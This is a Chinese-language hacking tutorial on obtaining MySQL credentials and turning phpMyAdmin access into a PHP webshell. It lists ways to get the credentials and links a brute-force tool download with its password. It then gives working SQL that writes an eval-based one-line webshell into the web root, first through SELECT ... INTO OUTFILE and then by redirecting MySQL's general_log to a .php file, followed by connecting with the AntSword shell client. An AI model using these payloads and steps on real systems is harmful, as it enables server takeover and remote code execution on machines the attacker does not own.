获取MySQL密码的方法
1、源代码泄露
2、暴力破解mysql
3、爆破出的phpmyadmin未授权访问漏洞
4、通过文件包含漏洞读取配置文件中的数据库账号密码
5、其他方式获取
暴力破解工具下载地址:https://wws.lanzous.com/i3iOTmyfhxg
密码:3uk5
我们成功的获取到mysql的账号密码,登录到phpmyadmin管理界面之后,可通过以下方式写入webshell。
select … . into outfile 语句直接写入webshell
必需满足的条件
root数据库用户(root权限)、secure_file_priv没有具体值、网站绝对路径
利用方式
查看当前是否有写入文件的权限,需要查看变量secure_file_priv的值,只有secure_file_priv没有具体值,我们才可以导入导出文件,如果有具体的值或者为NULL时,我们就写入不了文件
执行命令,查看权限:show global variables like 'secure%';
secure_file_priv为空,说明可以写入文件
修改secure_file_priv的方法
查看了mysql.cnf中居然没有对这个参数进行设定,就说明这个参数默认便是null,所以在mysql.cnf中的[mysqld]加入secure_file_priv =就具有写入权限。
查看mysql数据库的绝对路径 select @@basedir
执行一下命令写入shell :select '<?php eval($_POST["cmd"]);?>' INTO OUTFILE 'C:/phpstudy/WWW/lemonlove77.php';
写入成功,蚁剑连接
日志文件写入一句话来获取webshell
mysql 5.0版本以上会创建日志文件,我们通过修改日志的全局变量,可以写入webshell,mysql的两个全局变量:general_log和general_log file。
general_log :指的是日志保存的状态,ON代表开启OFF代表关闭
general_log_file :日志的保存路径
查看general_log和general_log_file变量的值:show variables like '%general%'
这里general_log的值是OFF,使用命令set global general_log='on'
打开
当general_log的值位on时,所执行的sql语句都会出现win7.log文件,设置general_log_file的值,设置为网站根目录下,执行的sql语句就会在该文件中,执行以下命令
set global general_log_file="C:/phpStudy/WWW/xp.php"
现在,执行一句话木马语句,会被记录在日志文件中
SELECT '<?php eval($_POST["cmd"]);?>'
蚁剑连接